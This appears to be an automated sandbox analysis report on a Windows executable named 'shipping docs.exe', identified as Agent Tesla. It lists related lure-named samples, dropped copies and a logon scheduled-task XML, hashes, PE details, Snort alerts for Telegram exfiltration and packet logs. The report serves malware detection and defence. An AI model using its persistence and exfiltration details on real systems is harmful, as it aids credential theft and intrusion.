TELEGRAMRU	XJXuWlR8TZ.exe	Get hash	malicious	Browse	149.154.167.99
	BL-SHIPPING DOCUMENTS.exe	Get hash	malicious	Browse	149.154.167.220
	7a087c1bcd038c61ddb0f634f9b21e6db9bed59842f19.exe	Get hash	malicious	Browse	149.154.167.99
	file.exe	Get hash	malicious	Browse	149.154.167.99
	c7oqCiKzbF.exe	Get hash	malicious	Browse	149.154.167.99
	SecuriteInfo.com.Win32.PWSX-gen.9296.19888.exe	Get hash	malicious	Browse	149.154.167.99
	scan Document_SA26844823746789e.PDF.html	Get hash	malicious	Browse	149.154.167.220
	Ziraat-bankasiSwiftMessaji2911202245344.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.7918.18477.exe	Get hash	malicious	Browse	149.154.167.220
	AWB DHL 7214306201 Shipment.pdf (432).exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.7585.24753.exe	Get hash	malicious	Browse	149.154.167.220
	synapse3.zip	Get hash	malicious	Browse	149.154.167.99
	00000000.exe	Get hash	malicious	Browse	149.154.167.99
	IMG_2022028022-0120.vbs	Get hash	malicious	Browse	149.154.167.220
	hesaphareketi-01.pdf.exe	Get hash	malicious	Browse	149.154.167.220
	PO.exe	Get hash	malicious	Browse	149.154.167.220
	500 126.html	Get hash	malicious	Browse	149.154.167.220
	500 126.html	Get hash	malicious	Browse	149.154.167.220
	Carta de pago.exe	Get hash	malicious	Browse	149.154.167.220
	SyyMuhzBJ3.exe	Get hash	malicious	Browse	149.154.167.99

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	BL-SHIPPING DOCUMENTS.exe	Get hash	malicious	Browse	149.154.167.220
	cryptor.bin.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.18868.10449.exe	Get hash	malicious	Browse	149.154.167.220
	SIEM_PO00938467648.vbs	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.DropperX-gen.9148.20800.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.16043.3621.exe	Get hash	malicious	Browse	149.154.167.220
	SHIPMENT DOCUMENTS.exe	Get hash	malicious	Browse	149.154.167.220
	file.exe	Get hash	malicious	Browse	149.154.167.220
	SkyNet.1448.exe	Get hash	malicious	Browse	149.154.167.220
	SkyNet.1448.exe	Get hash	malicious	Browse	149.154.167.220
	solicitud de presupuesto 29-11-2022.exe	Get hash	malicious	Browse	149.154.167.220
	library.dll	Get hash	malicious	Browse	149.154.167.220
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.24912.15475.exe	Get hash	malicious	Browse	149.154.167.220
	MEPS-42.exe	Get hash	malicious	Browse	149.154.167.220
	11-29-22.exe	Get hash	malicious	Browse	149.154.167.220
	ORDER.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.414.24926.exe	Get hash	malicious	Browse	149.154.167.220
	Quotation.exe	Get hash	malicious	Browse	149.154.167.220
	Ziraat-bankasiSwiftMessaji2911202245344.exe	Get hash	malicious	Browse	149.154.167.220

Process:	C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHY
MD5:	69206D3AF7D6EFD08F4B4726998856D3
SHA1:	E778D4BF781F7712163CF5E2F5E7C15953E484CF
SHA-256:	A937AD22F9C3E667A062BA0E116672960CD93522F6997C77C00370755929BA87
SHA-512:	CD270C3DF75E548C9B0727F13F44F45262BD474336E89AAEBE56FABFE8076CD4638F88D3C0837B67C2EB3C54055679B07E4212FB3FEDBF88C015EB5DBBCD7FF8
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\shipping docs.exe.log

Download File

Process:	C:\Users\user\Desktop\shipping docs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHY
MD5:	69206D3AF7D6EFD08F4B4726998856D3
SHA1:	E778D4BF781F7712163CF5E2F5E7C15953E484CF
SHA-256:	A937AD22F9C3E667A062BA0E116672960CD93522F6997C77C00370755929BA87
SHA-512:	CD270C3DF75E548C9B0727F13F44F45262BD474336E89AAEBE56FABFE8076CD4638F88D3C0837B67C2EB3C54055679B07E4212FB3FEDBF88C015EB5DBBCD7FF8
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\yVGAJfiVEvtg.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHY
MD5:	69206D3AF7D6EFD08F4B4726998856D3
SHA1:	E778D4BF781F7712163CF5E2F5E7C15953E484CF
SHA-256:	A937AD22F9C3E667A062BA0E116672960CD93522F6997C77C00370755929BA87
SHA-512:	CD270C3DF75E548C9B0727F13F44F45262BD474336E89AAEBE56FABFE8076CD4638F88D3C0837B67C2EB3C54055679B07E4212FB3FEDBF88C015EB5DBBCD7FF8
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Temp\tmp3418.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1645
Entropy (8bit):	5.196605565254392
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBx3tn:cbh47TlNQ//rydbz9I3YODOLNdq3jd
MD5:	FD5E93C3EBB783A2036F64992EA982BD
SHA1:	3D41B17EFE57C343E7C40FAD2F14EFEA143CB502
SHA-256:	9BD161BA3D8CD57B581AF3CB7879BCC2FE34A62E2C3BCF3B8CEA9E3FAD9DDCE2
SHA-512:	0707F1A58755FD8E38E22E5352C84FFE372C7F621A3EE48EE389AD5AC35F6AAE64696F59F032148D5B31913100A093777DA331B59FDE3ACA82B3E1549145E70C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Local\Temp\tmp7934.tmp

Download File

Process:	C:\Users\user\Desktop\shipping docs.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1645
Entropy (8bit):	5.196605565254392
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBx3tn:cbh47TlNQ//rydbz9I3YODOLNdq3jd
MD5:	FD5E93C3EBB783A2036F64992EA982BD
SHA1:	3D41B17EFE57C343E7C40FAD2F14EFEA143CB502
SHA-256:	9BD161BA3D8CD57B581AF3CB7879BCC2FE34A62E2C3BCF3B8CEA9E3FAD9DDCE2
SHA-512:	0707F1A58755FD8E38E22E5352C84FFE372C7F621A3EE48EE389AD5AC35F6AAE64696F59F032148D5B31913100A093777DA331B59FDE3ACA82B3E1549145E70C
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Local\Temp\tmpF5B7.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1645
Entropy (8bit):	5.196605565254392
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBx3tn:cbh47TlNQ//rydbz9I3YODOLNdq3jd
MD5:	FD5E93C3EBB783A2036F64992EA982BD
SHA1:	3D41B17EFE57C343E7C40FAD2F14EFEA143CB502
SHA-256:	9BD161BA3D8CD57B581AF3CB7879BCC2FE34A62E2C3BCF3B8CEA9E3FAD9DDCE2
SHA-512:	0707F1A58755FD8E38E22E5352C84FFE372C7F621A3EE48EE389AD5AC35F6AAE64696F59F032148D5B31913100A093777DA331B59FDE3ACA82B3E1549145E70C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe

Download File

Process:	C:\Users\user\Desktop\shipping docs.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	606720
Entropy (8bit):	7.88879203859592
Encrypted:	false
SSDEEP:	12288:ks2kzrbETClbHskFgFwIyXCDl+s30ki9Pi00uSGD6DWzEH:1176ChskFgqIyXoi9Pi00uSTHH
MD5:	6308AE755A893C15A989B1CCF2C56393
SHA1:	00ADA70AA14A5CF26A7F8CECBAAA437267D30A2A
SHA-256:	9DFDB5048599B1083FE534CF5FE5A0440D71EB74B5497E506F0A0A4C23821F40
SHA-512:	E03EAC82BF4174912D63CB8ECEED393320FE957F7A735FF0F720FBF558F9638E6FC051CB80607864CAAA8366CA0EDC2D44028367EF97D8020AD7B6F45EADDCD3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 73%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.c.................0...........N... ...`....@.. ....................................@..................................N..W....`.. ............................................................................ ............... ..H............text........ ...0.................. ..`.rsrc... ....`.......2..............@..@.reloc...............@..............@..B.................N......H............U......4...X...(^..........................................z.(......}.....( ...o!...}......0...........{............3.....(.......................0...........{......,....f.........}......}......}.......s....o....}.......}....8......{....o....}......{....}......}.............}.....{........Y}.....{....-...+H.{........{....X.{....X .;.\|.{....Xa}......}.....{....o....:q....(....+..(........}.........(......................n..}.....{....,..{....o......{....*.s".

C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\shipping docs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe

Download File

Process:	C:\Users\user\Desktop\shipping docs.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	606720
Entropy (8bit):	7.88879203859592
Encrypted:	false
SSDEEP:	12288:ks2kzrbETClbHskFgFwIyXCDl+s30ki9Pi00uSGD6DWzEH:1176ChskFgqIyXoi9Pi00uSTHH
MD5:	6308AE755A893C15A989B1CCF2C56393
SHA1:	00ADA70AA14A5CF26A7F8CECBAAA437267D30A2A
SHA-256:	9DFDB5048599B1083FE534CF5FE5A0440D71EB74B5497E506F0A0A4C23821F40
SHA-512:	E03EAC82BF4174912D63CB8ECEED393320FE957F7A735FF0F720FBF558F9638E6FC051CB80607864CAAA8366CA0EDC2D44028367EF97D8020AD7B6F45EADDCD3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 73%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.c.................0...........N... ...`....@.. ....................................@..................................N..W....`.. ............................................................................ ............... ..H............text........ ...0.................. ..`.rsrc... ....`.......2..............@..@.reloc...............@..............@..B.................N......H............U......4...X...(^..........................................z.(......}.....( ...o!...}......0...........{............3.....(.......................0...........{......,....f.........}......}......}.......s....o....}.......}....8......{....o....}......{....}......}.............}.....{........Y}.....{....-...+H.{........{....X.{....X .;.\|.{....Xa}......}.....{....o....:q....(....+..(........}.........(......................n..}.....{....,..{....o......{....*.s".

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.88879203859592
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	shipping docs.exe
File size:	606720
MD5:	6308ae755a893c15a989b1ccf2c56393
SHA1:	00ada70aa14a5cf26a7f8cecbaaa437267d30a2a
SHA256:	9dfdb5048599b1083fe534cf5fe5a0440d71eb74b5497e506f0a0a4c23821f40
SHA512:	e03eac82bf4174912d63cb8eceed393320fe957f7a735ff0f720fbf558f9638e6fc051cb80607864caaa8366ca0edc2d44028367ef97d8020ad7b6f45eaddcd3
SSDEEP:	12288:ks2kzrbETClbHskFgFwIyXCDl+s30ki9Pi00uSGD6DWzEH:1176ChskFgqIyXoi9Pi00uSTHH
TLSH:	D9D4023C224ABE2FC6BC99B958D296006FF1CD4D6110EF396EEE21D957CB3382741592
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.c.................0...........N... ...`....@.. ....................................@................................

File Icon


Icon Hash:	828282a28c323068

Static PE Info

General

Entrypoint:	0x494eee
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x638455A2 [Mon Nov 28 06:30:58 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x94e94	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x96000	0xc20	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x98000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x92ef4	0x93000	False	0.8968630420918368	data	7.898839095668671	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x96000	0xc20	0xe00	False	0.5340401785714286	data	5.558555904519806	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x98000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x960e8	0x7a7	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_GROUP_ICON	0x96890	0x14	data
RT_VERSION	0x968a4	0x37c	data

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3149.154.167.220496994432851779 11/29/22-21:19:34.793087	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49699	443	192.168.2.3	149.154.167.220
192.168.2.3149.154.167.220497004432851779 11/29/22-21:20:32.964256	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49700	443	192.168.2.3	149.154.167.220
192.168.2.3149.154.167.220497014432851779 11/29/22-21:20:48.592868	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49701	443	192.168.2.3	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2022 21:19:34.306422949 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:19:34.306468010 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.306538105 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:19:34.350533009 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:19:34.350590944 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.426537037 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.426740885 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:19:34.431344986 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:19:34.431368113 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.431643009 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.495279074 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:19:34.762609005 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:19:34.762672901 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.789762020 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.792854071 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:19:34.792897940 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.934180021 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.934380054 CET	443	49699	149.154.167.220	192.168.2.3
Nov 29, 2022 21:19:34.934495926 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:19:34.941884995 CET	49699	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:32.434153080 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:32.434236050 CET	443	49700	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:32.434340954 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:32.453962088 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:32.454035997 CET	443	49700	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:32.529711962 CET	443	49700	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:32.529877901 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:32.532382011 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:32.532432079 CET	443	49700	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:32.532835007 CET	443	49700	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:32.640913963 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:32.929069042 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:32.929147959 CET	443	49700	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:32.956907034 CET	443	49700	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:32.963989973 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:32.964052916 CET	443	49700	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:33.190849066 CET	443	49700	149.154.167.220	192.168.2.3
